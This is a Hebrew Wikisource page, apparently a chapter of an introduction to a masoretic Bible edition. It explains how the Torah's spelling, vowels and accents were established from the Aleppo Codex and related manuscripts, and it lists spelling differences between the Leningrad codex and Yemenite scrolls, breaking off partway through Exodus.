'''הבסיס לנוסח הניקוד והטעמים והגעיות הוא כתי&quot;ל, ועל גבי הבסיס הזה נעשו תיקונים ושינויים, כדי להתאים את המקומות החריגים שבו לנוסח המסורה לפי שיטתו של כתר ארם צובה. במקומות שהכתר קיים בהם או שיש עדויות לגביו, הנוסח מיוסד עליו. לאחר קביעת הנוסח בוצעו עוד התאמות קלות בהתאם ל[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב|מדיניות העיצוב במהדורתנו]].'''

לפרטים נוספים על השיטה לקביעת הנוסח בתורה ראו בסעיפים הבאים. למידע על הנוסח בנביאים וכתובים, ראו '''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ד|בפרק הבא]]''' לגבי המקומות החסרים בכתר, ו'''[[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה|בפרק החמישי]]''' לגבי המקומות שכתר ארם צובה קיים בהם.

==יסודות הנוסח==

'''כתר ארם צובה:''' כתר ארם צובה נשאר לנו בסוף התורה (החל מהתיבה &quot;וּמִשְׁאַרְתֶּֽךָ&quot; ב[[דברים כח/טעמים#כח יז|דברים כח,יז]]). בנוסף יש שני צילומים של דפים שאבדו ממנו, ועדויות רבות וחשובות על נוסח התורה שהיה בו. הנוסח במקומות האלה מיוסד על הכתר.

'''כתי&quot;ל וקבוצת כתבי־היד:''' בשאר כל התורה הנוסח מיוסד על כתי&quot;ל, אבל רק בתור נקודת התחלה. בכל מקום שלא הבאנו את נוסחו של כתי&quot;ל, או שיש ספק או תמיהה לגביו, או נקודה בו הראויה לציון (אף אם קיבלנו את נוסחו), השתדלנו לבדוק את הנוסח המקביל בעוד 6 כתבי־יד מזרחיים של התורה הקרובים לכתר ארם צובה, ולתעד את הממצאים במלואם. כך יוצא שהנוסח ברוב התורה מיוסד על '''7 כתבי־יד הקרובים לכתר ארם צובה''', והם: '''ל, ל1, ב, ש, ש1, ק3, ו''';  למידע נוסף על שבעת כתבי־היד וקישורים אליהם ראו '''[[ויקיטקסט:מבוא למקרא על פי המסורה/נספחים#כתבי־היד לתורה|כאן]]'''.

'''הכרעת הכתיב, הניקוד והטעמים:''' קבוצה זו של 7 כתבי־היד טברנים, הקרובים לכתר ארם צובה, מאפשרת הכרעה ברורה ומובהקת בענייני הכתיב, הניקוד והטעמים בתורה בכמעט כל מקום.{{הערה|היוצאים מן הכלל הזה נדירים ביותר. הדוגמה היחידה לגבי '''נוסח הכתיב''' שמצאנו עד כה היא התיבה &quot;בָּמוֹתָ֖ם&quot; ([[במדבר לג/טעמים#לג נב|במדבר לג,נב]]), הנכתבת מלא וי&quot;ו בספרי התורה של כל העדות. אך כתבי־היד הטברנים חלוקים לגבי כתיבתו; אין בהם רוב מובהק לכתיב מלא או חסר, ואין הערת מסורה התומכת באחת משתי האפשרויות. תיבה זו נמצאת בין 6 המקומות המוטלים בספק לפי שיטת ברויאר (כתר, עמ' 84 [פרק ג סעיף 1.ד]). אך שאר המקומות שהיו מוטלים בספק אצלו מקבלים מענה ע&quot;י קבוצת 7 כתבי־היד שלנו, וכבר אינם מוטלים בספק; רק המקום הזה נשאר. בכל אופן הכתיב במהדורתנו נקבע כאן, כמו בכל התורה, ע&quot;פ ספרי התורה. גם לגבי '''נוסח הניקוד והטעמים''' מצאנו דוגמה אחת בלבד: ב[[ויקרא כו/טעמים#כו מג|כו,מג]] התיבה &quot;בׇּהְשַׁמָּהֿ֙&quot; מנוקדת בלי מפיק באות ה&quot;א הראשונה בארבעה כתבי־יד (ל1,ב,ש1,ק3), לעומת שלושה כתבי־יד (ל,ש,ו) שבהם יש מפיק (&quot;בָּהְּשַׁמָּהֿ֙&quot;), כך שאין רוב מובהק ויש צורך לבדוק מקורות נוספים (ראו שם בתיעוד הנוסח). וראו גם [[דברים טז/טעמים#טז ב|דברים טז,ב]], שם אין רוב מובהק לגבי התיבה &quot;אֲשֶׁר&quot; אם היא מוקפת או בטעם מונח, אך יכולנו להכריע לפי שיטת בן־אשר בספר החילופים.}}

'''עניינים משניים במערכות הניקוד והטעמים:''' לגבי ניואנסים שהיו רשות ולא חובה אצל בעלי המסורה הטברנים, והם לא סומנו בעקביות בכל כתב־יד, קבוצת כתבי־היד מספקת לנו תמונה מייצגת של הגיוון שהיה קיים אצל בעלי המסורה וגבולותיו. מדובר על נושאים משניים כגון חטפים באותיות לא גרוניות ([[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#חטפים באותיות לא גרוניות|הסבר כללי]], [[#מסורת הקוראים בתורה: חטפים באותיות לא גרוניות|רשימה בתורה]]), געיות חריגות ([[#מסורת הקוראים בתורה: סימון הגעיה (המתג)|הסבר כללי]], [[#נוסח הגעיות במהדורתנו|רשימה בתורה]]), [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#מתיגת הזקף|מתיגת הזקף]], [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#מרכא בתיבת תביר|מרכא בתיבת תביר]], [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#נקודה בוי&quot;ו עיצורית|נקודה בוי&quot;ו עיצורית]], ועוד. לא הכרענו בנושאים אלה לפי רוב מובהק של כתבי־היד (רוב שבדרך כלל לא קיים), אלא לפי מדיניות העיצוב במהדורתנו (לגבי חטפים באותיות לא-גרונית) או לפי דרכו העקבית של כתר ארם צובה (לגבי מתיגת הזקף, מרכא בתיבת תביר, ולגבי געיות בכתי&quot;ל שחורגות באופן ברור מדרכו). בעזרת תיעוד הנוסח אפשר לראות את האופן שבו הכרעת הנוסח משתלבת עם הנתונים הנמצאים בכתבי־היד, וגם לזהות את כתבי־יד הקרובים יותר לשיטת הכתר לגבי כל תופעה ספציפית.

'''כתבי־יד נוספים:''' לא כל כתבי־היד שבקבוצה זו שלמים. חלקים משמעותיים של ספר בראשית (במיוחד מתחילתו) חסרים או פגומים ברובם (ל1,{{הערה|חוץ מהדפים החסרים בתחילת ספר בראשית, ראשי הדפים פגומים בכתי&quot;ל1 בכל התורה; הנזק יותר חמור בתחילת התורה ובסופה.}} ב, ש, ש1, ו), וכמו כן באחדים מהם בסוף ספר במדבר (ו) ובספר דברים (ל1, ב) ובעוד מקומות.{{הערה|כתי&quot;ו המקורי חסר בסוף ספר במדבר (כו,סג-לה,ו). הוא גם חסר בסוף ספר דברים (נכרכו עמו דפים כדי להשלים את הטקסט החסר), אבל רק במקומות שכתר ארם צובה קיים בהם.}} בספר בראשית השתמשנו בעת הצורך במבחר של כתבי־היד נוספים (מזרחים, תימנים וספרדים). בשאר התורה (בעיקר בסוף ספר במדבר מפרק כ&quot;ז ובספר דברים, אך גם בעוד קצת מקומות שחסר בהם כתב־יד אחד או יותר) הסתפקנו בשני כתבי־יד מזרחים הקרובים לכתר: ב[https://www.nli.org.il/en/discover/manuscripts/hebrew-manuscripts/itempage?vid=MANUSCRIPTS&amp;docId=PNX_MANUSCRIPTS990000571880205171&amp;scope=PNX_MANUSCRIPTS כת&quot;י סנקט פטרבורג-EVR-II-B-10] ('''ל3'''); וב[https://www.nli.org.il/en/discover/manuscripts/hebrew-manuscripts/itempage?vid=MANUSCRIPTS&amp;docId=PNX_MANUSCRIPTS990000571690205171&amp;scope=PNX_MANUSCRIPTS&amp;SearchTxt=%D7%AA%D7%95%D7%A8%D7%94%20EVR%20II%20B%2059 כת&quot;י סנקט פטרבורג-EVR-II-B-59] ('''ל9''').

==תיעוד הנוסח==

כל הנתונים לגבי הנוסח ב[[#יסודות הנוסח|קבוצת כתבי־היד]], בכל מקום שנוסח כתי&quot;ל ראוי לדיון, נמצאים בדפי העריכה של '''[[מקרא על פי המסורה/תורה#חמישה חומשי תורה|דפי הפרקים בתורה]]'''. אי אפשר לראות את הנתונים בדף של הפרק עצמו, המציג רק את נוסח המקרא לפי הקביעה הסופית. כדי לקרוא את הערות הנוסח בפרק מסוים, יש ללחוץ על '''&quot;הצג הערות נוסח&quot;''' בתחילת הדף של הפרק בצד ימין, מתחת לסרגל הניווט. לחלופין, הן גם מופיעות באתר מיוחד שנקרא '''[https://bdenckla.github.io/MAM-with-doc/ &quot;מקרא על פי המסורה עם הערות הנוסח&quot;]''', שם ניתן לקרוא אותן ברציפות ולעיין בהן בנחת.

כאמור, הנתונים בהערות הנוסח כתובים בפועל בדף העריכה של הפרק. כדי לראותם שם יש ללחוץ הלשונית &quot;'''עריכה'''&quot;, שנמצאת בראש הדף של הפרק (באמצע בין הלשוניות &quot;קריאה&quot; ו&quot;גרסאות קודמות&quot;). אחרי לחיצה על &quot;עריכה&quot; יופיע חלון עריכה, שבו נמצא הטקסט המקודד של הפרק. בחלק מהפסוקים, בתוך הטקסט המקודד, אפשר לראות מילים בתוך תבניות &quot;נוסח&quot;. לדוגמה, ב'''[[שמות יד/טעמים|דף הפרק של שמות י&quot;ד]]''', אחרי לחיצה על &quot;עריכה&quot; רואים שבתוך חלון העריכה, בפסוק ה', התיבה &quot;וַיֹּֽאמְרוּ֙&quot; נמצאת בתוך תבנית נוסח. הקוד נראה כך:

:&lt;nowiki&gt;{{נוסח|וַיֹּֽאמְרוּ֙|2==ל1,ב,ש,ש1,ק3,ו ובדפוסים{{ש}}ל!=וַיֹּֽאמרוּ֙ (חסר שווא באות מ&quot;ם){{ש}}הערת המקליד}}&lt;/nowiki&gt;

&quot;נוסח&quot; הוא השם של [[תבנית:נוסח|התבנית]] בתוך הסוגריים המתולתלים; תקפידהּ של תבנית זו לרכז נתונים לגבי נוסח המקרא. אחר כך רואים את התיבה &quot;וַיֹּֽאמְרוּ֙&quot; כמו שהיא מופיעה לפי קביעת הנוסח במהדורתנו, ולאחריה את רשימת המקורות התומכים בקביעה זו (אחרי &quot;2==&quot; שהוא קוד טכני). במקרה הזה מתברר שזהו נוסחם של כל כתבי־היד בקבוצת הביקורת חוץ מכתי&quot;ל, וגם של הדפוסים הנפוצים של המקרא. אבל אחרי קוד לשבירה (&quot;&lt;nowiki&gt;{{ש}}&lt;/nowiki&gt;&quot;), כדי לחלק את ההערה לחלקים שונים, רואים שבכתי&quot;ל יש טעות מובהקת: בתיבה &quot;וַיֹּֽאמְרוּ֙&quot; חסרות שתי הנקודות של שווא מתחת לאות מ&quot;ם (&quot;וַיֹּֽא'''מ'''רוּ֙&quot;)! בסוף כתוב &quot;הערת המקליד&quot;, כלומר: [https://hcanat.us/Tanach.xml?Ex14:5-14:5 בהקלדה הדיגיטלית UXLC], שהיא תִּעֲתוּק של כתי&quot;ל שהיה נקודת ההתחלה למהדורתנו, כבר עמדו על הטעות הזאת והעירו לגביה.

לדוגמה נוספת, הפעם בעניין של כתיב (נוסח האותיות), ראו בדף העריכה של '''[[שמות יד/טעמים|אותו פרק]]''' בפסוק י&quot;ג (&quot;תֹסִ֛פוּ&quot;):

:&lt;nowiki&gt;{{נוסח|תֹסִ֛פוּ|2==ל1,ב,ש,ש1,ק3,ו ומסורת-ל וטברניות ורמ&quot;ה (כתיב חסר יו&quot;ד){{ש}}ל!=תֹסִ֛יפוּ (כתיב מלא יו&quot;ד){{ש}}הערת ברויאר}}&lt;/nowiki&gt;

אחרי &quot;נוסח&quot; (שמהּ של התבנית), רואים שהתיבה &quot;תֹסִ֛פוּ&quot; מופיעה במהדורתנו בכתיב חסר יו&quot;ד (כלומר &quot;תֹסִ֛פוּ&quot; ולא &quot;תֹסִ֛'''י'''פוּ&quot;). זהו נוסחם של כל כתבי־היד בקבוצת הביקורת חוץ מכתי&quot;ל, וכך קובעות גם הערות מסורה, כולל הערת מסורה בתוך כתי&quot;ל עצמו; וכך קבע הרמ&quot;ה להלכה (בעקבותיו כותבים &quot;תֹסִ֛פוּ&quot; חסר יו&quot;ד בספרי תורה ספרדים ואשכנזים).{{הערה|ראו ב[[:COMMONS:File:Masoret-Seyag-Ramah-1750-HB7152.pdf|מסורת סייג לתורה]], עמ' 70.}} אבל אחר כך רואים בהערה שהנוסח הכתוב בכתי&quot;ל הוא דווקא &quot;תֹסִ֛'''י'''פוּ&quot; (כתיב מלא יו&quot;ד). כתיב זה סותר את הערת המסורה בתוך אותו כתב־יד. בסוף  התבנית כתוב &quot;הערת ברויאר&quot;, כלומר: הרב מרדכי ברויאר כבר עמד על הכתיב החריג כאן בכתי&quot;ל במהדורות המקרא שלו.

שימו לב שנוסח הכתיב במהדורתנו נקבע לפי ספרי התורה של עדת תימן, ולא לפי רוב כתבי־היד שבקבוצה. הדוגמה האחרונה מראה שרוב מובהק של כתבי־היד הקרובים לכתר תומך כאן בכתיב של ספרי תימן.

==מסורת הסופרים בתורה: נוסח האותיות והתיבות==

===נוסח האותיות בתורה===

'''נוסח האותיות בעידן המסורה:''' נוסח האותיות לפי המסורה משתקף היטב בתור '''אידאל מדויק''' מתוך הערות המסורה. אבל האידיאל הזה לא התגשם בביצוע מושלם באף אחד מכתבי־היד הטברנים הקרובים לכתר ארם צובה. כתבי־היד האלה עברו תהליכים של הגהה ותיקונים בכיוון זה, אמנם בכל אחד מהם נשארו טעויות בנוסח הכתיב. טעויות מהסוג הזה מתגלות ברוב המקומות בכתב־יד אחד חריג, כאשר הכתיב שבו שונה בתיבה מסוימת משאר חבריו, ובדרך כלל יש גם הערת מסורה שתומכת בגרסת הרוב. מתוך כך אפשר לקבוע את הכתיב של נוסח המסורה בכמעט כל מקום על פי '''הערות המסורה''' או על פי הנוסח של '''רוב כתבי־היד''', או על פי '''שניהם ביחד'''. וזה מפליא שהכתיב האקלקטי מתוך רוב כתבי־היד זהה לגמרי לכתיב המתועד בהערות המסורה כמעט בכל מקום. את כל זה הוכיח הרב מרדכי ברויאר לראשונה בספרו החשוב '''כתר ארם צובה והנוסח המקובל של המקרא'''.{{הערה|ירושלים: מוסד הרב קוק, תשל&quot;ז; עמ' 68-86.}}

'''לאחר תקופת המסורה בספרד ואשכנז:''' ברויאר עוד הוכיח שאותו נוסח העולה מתוך השילוב של הערות המסורה ביחד עם רוב המסירות בכתבי־היד הקרובים לכתר מתאים בכמעט כל המקומות לנוסח ספרי התורה שנקבע בספרד ובאשכנז. נוסח הכתיב בספרי התורה (מחוץ לתימן) נקבע לאחר תקופת בעלי המסורה הטברנים ב[[ויקיטקסט:מבוא למקרא על פי המסורה/נספחים#ספרות המסורה וחומר נוסף|חיבוריהם של חכמי מסורה מאוחרים]]: בספרים &quot;מסורת סייג לתורה&quot; ל[[:W:מאיר הלוי אבולעפיה|ר' מאיר הלוי אבולעפיה]]), &quot;אור תורה&quot; (ל[[:W:מנחם די לונזאנו|ר' מנחם די לונזאנו]]), ו&quot;מנחת שי&quot; (ל[[:W:ידידיה שלמה רפאל נורצי|ר' ידידיה שלמה רפאל נורצי]]). חכמי המסורה בדורות הללו פעלו לפי '''שיטה אקלקטית מובהקת''', והשתמשו כמיטב יכולתם באותן הערות מסורה שהיו בידיהם, ובאותם כתבי־יד שנראו מדויקים בעיניהם.{{הערה|ספר מוגדר כ&quot;מדויק&quot; לפי מידת התאמתו לכתיב בספרים מקבילים ולהערות המסורה. חשוב לציין ששיטת הפעילות בתחום זה ע&quot;י בעלי ההלכה הייתה לדבוק בכללי המסורה הטברנית ובשיטה האקלקטית אפילו בניגוד לחז&quot;ל בתלמוד ובמדרשים (במקומות שדרשו את הכתיב). חכמי התלמוד מעידים על עצמם שלא היו בקיאים בחסרות וביתרות {{מקור|קידושין ל א|קידושין דף ל' ע&quot;א}}, ובעיניהם של בעלי ההלכה שעסקו בכתיב התורה, נמשך המצב הזה עד זמנם ממש. ולכן החליטו בסופו של דבר (לאחר לבטים רציניים) לקבל את הערות המסורה ועדותם של רוב כתבי־היד המדויקים, במקום הכתיב המובא בתלמוד, ואפילו במקומות שלומדים הלכה מן הכתיב! (ראו את הדוגמאות המובאות בגליון הש&quot;ס לר' עקיבא איגר על [[שבת נה ב|שבת דף נ&quot;ה ע&quot;ב]] לתוספות ד&quot;ה מעבירם כתיב.) לגבי ההתלבטות בנושא זה ראו בברויאר, ג.6 (עמ' 88) והערות 2, 3 שם.}} מתברר שעבודתם עלתה כל כך יפה עד שהיא כמעט מושלמת (וכמעט זהה לנוסח תימן).

'''לאחר תקופת המסורה בתימן:''' בנוסף לכך, הציע ברויאר שנוסח תימן אינו מבוסס על שיטה אקלקטית אלא על '''עבודת העתקה מושלמת''' של כתר ארם צובה.{{הערה|ראו ברויאר, שם, עמ' 87-89.}} ואם כן יוצא שבנוסח תימן יש לנו עדות מובהקת ומדויקת לנוסח הכתיב בתורה שהיה בכתר.{{הערה|ברויאר הביא מספר ראיות לכך שם, עמ' 90. ביניהם: עדותם של סופרי תימן שספריהם נכתבו &quot;על תיקון הספר הידוע במצרים&quot;; נוסח הכתיב המתאים לגמרי למסורה (ולנוסח תימן) בסוף התורה בכתר; נוסח הכתר בנביאים וכתובים (המדויק להפליא לעומת כל שאר כתבי־היד). על ראיות אלו של ברויאר אפשר להוסיף את הכתיב לפרשות התפילין שקבע הרמב&quot;ם ב'''משנה תורה''' ([[רמב&quot;ם הלכות תפילין ומזוזה וספר תורה ב#הלכה ג|הלכות תפילין ומזוזה וספר תורה, פרק שני, ג-ז]]; וראו עוד בהרחבה אצל יצחק ש' פנקובר, '''נוסח התורה בכתר ארם צובה: עדות חדשה''', [רמת־גן, הוצאת אונ' בר־אילן, תשנ&quot;ג], עמ' 53-55), וכמו כן את שאר העדויות הקיימות על נוסח הכתיב שהיה בכתר (כגון רפי זר, [https://www.daat.ac.il/daat/vl/tohen.asp?id=278 &quot;מאורות נתן לר' יעקב ספיר&quot;], '''לשוננו''' ל&quot;ה, תשמ&quot;ו, עמ' 151-213).}} ועוד יוצא לנו שכתר ארם צובה עצמו מהווה '''ביצוע מושלם''' יחיד במינו של נוסח האותיות בתורה לפי המסורה (בניגוד לשאר כתבי־היד הקרובים לו). קביעה זו מתבררת גם מתוך נוסח האותיות המדויק בו בספרי הנביאים והכתובים, שיש בו דיוק מפליא שאינו דומה לאף כתב־היד אחר.{{הערה|ראו על כך [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ה#נוסח האותיות והתיבות בכתר ארם צובה|בפרק חמישי]] של המבוא.}}

אמנם יש גם עדויות שב-2 או 3 מקומות, חרג הכתיב בכתר מהנוסח העולה מהערות המסורה ומשאר כתבי־היד, וכמו כן מספרי ספרי התורה של כל העדות כולל תימן: [[שמות א/טעמים#א יט|שמות א,יט]] &quot;אֲלֵ(י)הֶ֛ן&quot;;{{הערה|את הכתיב הזה אולי ניתן להצדיק ע&quot;פ הערת מסורה בכתר; וראו עוד בהערת הנוסח על [[שמות א/טעמים#א יט|שמות א,יט]].}} [[ויקרא יט/טעמים#יט טז|ויקרא יט,טז]] &quot;רֵעֶ֑(י)ךָ&quot;; ואולי גם [[ויקרא כה/טעמים#כה י|ויקרא כה,י]] &quot;יוֹבֵ֥ל הִ'''י'''א֙&quot; במקום &quot;יוֹבֵ֥ל הִ'''ו'''א֙&quot;.{{הערה|בעדות המפורטת ביותר נמסר שהיה תיקון בכתר במקום הזה; ראו על כך באריכות בהערת הנוסח על [[ויקרא כה/טעמים#כה י|ויקרא כה,י]].}} על סמך הכתיבים האלה נראה שהכתיב בספרי תימן מייצג את נוסח המסורה באופן עוד יותר מדויק מהכתיב שהיה בכתר (!).{{הערה|לגבי 3 המקומות האלה כתב יוסף עופר שיש בהם &quot;ערעור מהותי על האפשרות שנוסח התימנים מיוסד על הכתר. אם נבקש להטיל שלום בין הכתוב בכתבי־היד התימנים לבין ממצאינו נוכל רק להציע שהכתר היה '''אחד מהמקורות''' לנוסח התימנים.&quot; ראו במאמרו [http://www.daat.ac.il/daat/vl/yosefofer/yosefofer03.pdf &quot;כתר ארם צובה לאור רשימותיו של מ&quot;ד קאסוטו&quot;], '''ספונות''', סדרה חדשה, ספר רביעי (יט) תשמ&quot;ט, עמ' 339 (ההדגשה שלנו); וראו שם עוד עמ' 309-313. ברוח זו ניתן להציע שאמנם נוסח הכתיב בספרי תימן '''נוסד''' על פי הכתר, אך אחר כך בוצעו תיקונים בספרי תימן במקומות נדירים שבהם עצם הנוסח שהועתק מהכתר עמד בסתירה ב-2 או 3 מקומות להערות המסורה שהיו בכתבי־היד. כך שהכתר הוא לא רק &quot;אחד מהמקורות&quot; אלא '''המקור העיקרי''' לנוסח הכתיב בספרי תימן, אך '''לא המקור היחיד'''. בדיקת כתבי־יד תימנים לספרי הנביאים והכתובים מניבה תוצאות דומות: יש כתבי־יד שהם קרובים להפליא לנוסח הכתיב בכתר, אך לא זהים לו; אמנם במקומות שהכתיב שונה מהכתר יש כמעט תמיד הערת מסורה צמודה המורה על הנוסח בכתב־היד. גם יצחק ש' פנקובר הציע אפשרות דומה בניסיון שלו להתמודד עם נתונים סותרים לגבי נוסח הכתר: &quot;לפי האפשרות הראשונה יוצא שיש שניים (או שלושה) מקרים חריגים בכתר, בהם חולק הכתר על כל כתבי־היד הטברניים המדוייקים והמסורה. כמו־כן היה יוצא עקב מקרים אלו שדווקא כתבי־היד התימניים הם המדויקים בתורה, מדויקים אפילו מן הכתר.&quot; והוסיף בהערה: &quot;אפילו נניח את האפשרות הראשונה, אין היא מחייבת את המסקנה שהתימנים לא סמכו על ספר התורה של הרמב&quot;ם שהועתק מן הכתר... בענייני נוסח יהיו בסך הכל שניים (או שלושה) שינויים בין התימנים והכתר; קירבה כה גדולה, שאין כדוגמתה אפילו בין כתבי־היד הטברניים המדויקים, מוסברת בכך שהתימנים סמכו על ספר התורה של הרמב&quot;ם שהועתק מן הכתר ותיקנו.&quot; ראו '''נוסח התורה בכתר ארם־צובה: עדות חדשה''' (רמת־גן: הוצאת אוניברסיטת בר־אילן, תשנ&quot;ג), עמ' 90, ושם בהערה 267.}}

'''מסקנה:''' אין למצוא עדות מובהקת לנוסח האותיות בתורה לפי המסורה באף אחד מכתבי־היד הקרובים לכתר, ואין ראוי להעמיד את הכתיב במהדורת מקרא על אף כתב־יד כזה.{{הערה|1=לפי החישוב של ברויאר (שם, עמ 86), כתב־היד הכי מדויק לגבי נוסח האותיות בתורה הוא כתי&quot;ש1 (שונה מכתיב המסורה ב-20 מקומות), ואח&quot;כ כתי&quot;ש (25 מקומות), ואח&quot;כ [https://archive.org/details/BL_Or4445_Torah/page/n63/mode/2up כתי&quot;ב] (65 מקומות) וכתי&quot;ל (כ-120 מקומות); לגבי כתי&quot;ל ראו ליתר דיוק ופירוט ברשימה הבאה.}} אמנם ב'''שילוב''' של הערות המסורה ביחד עם הנוסח האקלקטי העולה מתוך רוב כתבי־היד, או לחלופין על פי נוסח תימן, ניתן להגיע לנוסח מדויק של האותיות בתורה. הכתיב במהדורתנו מבוסס עם כן על נוסח תימן, ב[[#מסורת הסופרים בתורה: הערות מיוחדות|תוספת הערות לעתים רחוקות]] במקומות שנוסח זה שונה משאר ספרי התורה או מהנוסח שהיה בכתר ע&quot;פ עדויות.

===נוסח האותיות בכתי&quot;ל בתורה (רשימה מלאה)===

'''רמת הדיוק בכתי&quot;ל:''' מהדורתנו מבוססת כאמור על הקלדת וסטמינסטר של כתי&quot;ל. הדיוק בנוסח האותיות בכתי&quot;ל מספיק טוב כדי שייחשב לעדות אחת חשובה בין שאר העדויות, אבל רמת דיוקו פחותה משאר כתבי־היד הקרובים לכתר. לפי הערכתו של ייבין: &quot;נוסח האותיות שונה לפרקים מ''א'' במלא וחסר. המסורה של ''ל''... סותרת לעתים את הפְנים.&quot;{{הערה|ייבין, נו.2 עמ' 358.}} ולפי ברויאר יש בו סטייה מנוסח המסורה &quot;בקרוב ל-120 מקומות בתורה&quot;.{{הערה|ברויאר, עמ' 86. לתוצאה מדויקת יותר ראו [[#סיכום התוצאות|להלן]].}} ולכן נוסח האותיות בתורה במהדורתנו יתוקן כאמור על פי ספרי תימן, ולא יישאר לפי כתי&quot;ל (שהוא הבסיס להקלדה).

'''להלן רשימת כל המקומות שבהם הכתיב בכתי&quot;ל (הבסיס להקלדה במהדורתנו) שונה מהכתיב בספרי תימן.''' רשימה זו נחוצה כדי לאפשר הגהה יסודית לנוסח הכתיב במהדורתנו, מול הקלדת וסטמינסטר מצד אחד, ומול נוסח ספרי התורה מצד שני. הפריט הראשון בכל שורה ברשימה הוא הכתיב המופיע בספרי תימן והמתאים למסורה ואחריו כוכבית (*). הפריט השני הוא נוסח כתי&quot;ל, ואחריו סימן קריאה (!) במקרים שבהם הכתיב בכתי&quot;ל סותר את הערות המסורה שבתוך כתי&quot;ל עצמו.{{הערה|בנוסף לרשימה זו, אפשר תמיד לבצע בדיקה יסודית על ידי מחשב, בהשוואת נוסח האותיות בהקלדת וסטמינסטר של כתי&quot;ל מול נוסח האותיות במהדורתנו ונוסח האותיות במהדורת מכון ממרא. התיעוד המלא של הנוסח נמצא בכל מקרה ספציפי בדפי העריכה של דפי הפרקים המקושרים.}}

'''ספר בראשית''' (סה&quot;כ כ-20 תיבות בכתיב חריג, אחת מהן רק בספק):
#נֹח [[בראשית ח/טעמים#ח כ|(ח,כ)]]: [הַטְּהֹרָ֗ה]* / ל=[הַטְּהוֹרָ֗ה]!
#נֹח [[בראשית ח/טעמים#ח כ|(ח,כ)]]: [הַטָּה֔וֹר]* / ל=[הַטָּהֹ֔ר]!
#לך־לך [[בראשית יג/טעמים#יג ח|(יג,ח)]]: [וּבֵינֶ֔ךָ]* ל=[וּבֵינֶ֔יךָ]
#לך־לך [[בראשית יד/טעמים#יד כב|(יד,כב)]]: [הֲרִמֹ֨תִי]* / ל=[הֲרִימֹ֨תִי]
#וירא [[בראשית יט/טעמים#יט טז|(יט,טז)]]: [וַיַּחֲזִ֨יקוּ]* / ל=[וַיַּחֲזִ֨קוּ]!
#וירא [[בראשית יט/טעמים#יט כ|(יט,כ)]]: [וְהִ֣וא]* / ל=[וְהִ֣יא]!
#חיי שרה [[בראשית כה/טעמים#כה ג|(כה,ג)]]: [וּלְטוּשִׁ֖ם]* / ל=[וּלְטוּשִׁ֖ים]
#תולדֹת [[בראשית כו/טעמים#כו ז|(כו,ז2)]]: [הִֽוא]* / ל=[הִֽיא]!
#תולדֹת [[בראשית כז/טעמים#כז לא|(כז,לא)]]: [בַּעֲבֻ֖ר]* / ל=[בַּעֲב֖וּר]!
#וישלח [[בראשית לה/טעמים#לה ה|(לה,ה)]]: [סְבִיב֣וֹתֵיהֶ֔ם]* / ל=[סְבִיבֹ֣תֵיהֶ֔ם]!
#וישלח [[בראשית לה/טעמים#לה כג|(לה,כג)]]: [וּזְבֻלֽוּן]*/ ל=[וּזְבוּלֻֽן]!
#וישב [[בראשית מ/טעמים#מ י|(מ,י)]]: [וְהִ֤וא]* / ל=[וְהִ֤יא]!
#מקץ [[בראשית מא/טעמים#מא לה|(מא,לה)]]: [הַטֹּב֔וֹת]* / ל=[הַטֹּבֹ֔ת]!
#ויגש [[בראשית מה/טעמים#מה טו|(מה,טו)]]: [עֲלֵהֶ֑ם]* / ל=[עֲלֵיהֶ֑ם]!
#ויגש [[בראשית מו/טעמים#מו ט|(מו,ט)]]: [וְחֶצְרֹ֥ן]* / ל=[וְחֶצְר֥וֹן]
#ויגש [[בראשית מו/טעמים#מו יב|(מו,יב)]]: [חֶצְרֹ֥ן]* / ל=[חֶצְר֥וֹן]
#ויגש [[בראשית מו/טעמים#מו יג|(מו,יג)]]: [וְשִׁמְרֹֽן]* / ל=[וְשִׁמְרֽוֹן]
#ויגש [[בראשית מו/טעמים#מו יד|(מו,יד)]]: [זְבֻל֑וּן]* / ל=[זְבוּלֻ֑ן]!
#ויגש [[בראשית מז/טעמים#מז כד|(מז,כד)]]: [חֲמִישִׁ֖ית]* / ל?=[חֲמִישִׁ֖ת]?!
#ויחי [[בראשית מט/טעמים#מט יג|(מט,יג)]]: [אֳנִיֹּ֔ת]* / ל=[אֳנִיּ֔וֹת]!

'''ספר שמות''' (סה&quot;כ 25 תיבות בכתיב חריג):
#שמות [[שמות א/טעמים#א טז|(א,טז)]]: [הִ֖וא]* / ל=[הִ֖יא]!
#שמות [[שמות ד/טעמים#ד ג|(ד,ג)]]: [וַיַּשְׁלִכֵ֥הוּ]* / ל=[וַיַּשְׁלִיכֵ֥הוּ] (=מ&quot;ק-ל [!] מול רוב המסורות וכתבי־היד)
#וארא [[שמות ו/טעמים#ו יד|(ו,יד)]]: [חֶצְרֹ֣ן]* / ל=[חֶצְר֣וֹן]
#וארא [[שמות ח/טעמים#ח טו|(ח,טו)]]: [הַֽחַרְטֻמִּם֙]* / ל=[הַֽחַרְטֻמִּים֙]!
#בֹא [[שמות י/טעמים#י כה|(י,כה)]]: [וְעֹלֹ֑ת] / ל=[וְעֹל֑וֹת]!
#בֹא [[שמות יב/טעמים#יב ד|(יב,ד)]]: [מִהְי֣וֹת]* / ל=[מִהְיֹ֣ת]!
#בשלח [[שמות יד/טעמים#יד יג|(יד,יג)]]: [תֹסִ֛פוּ]* / ל=[תֹסִ֛יפוּ]!
#בשלח [[שמות יד/טעמים#יד יד|(יד,יד)]]: [תַּחֲרִשֽׁוּן]* / ל=[תַּחֲרִישֽׁוּן]!
#בשלח [[שמות יד/טעמים#יד כב|(יד,כב)]]: [חוֹמָ֔ה]* / ל=[חֹמָ֔ה]!
#יתרו [[שמות יט/טעמים#יט יא|(יט,יא2)]]: [הַשְּׁלִשִׁ֗י]* / ל=[הַשְּׁלִישִׁ֗י]!
#יתרו [[שמות יט/טעמים#יט יט|(יט,יט)]]: [הַשֹּׁפָ֔ר]* / ל=[הַשּׁוֹפָ֔ר]!
#משפטים [[שמות כג/טעמים#כג כב|(כג,כב)]]: [שָׁמ֤וֹעַ]* / ל=[שָׁמֹ֤עַ]! (=מ&quot;ק-ל [!] מול מ&quot;ג-ל ורוב המסורות וכתבי־היד)
#תרומה [[שמות כה/טעמים#כה כב|(כה,כב)]]: [אֲר֣וֹן]* / ל=[אֲרֹ֣ן]!
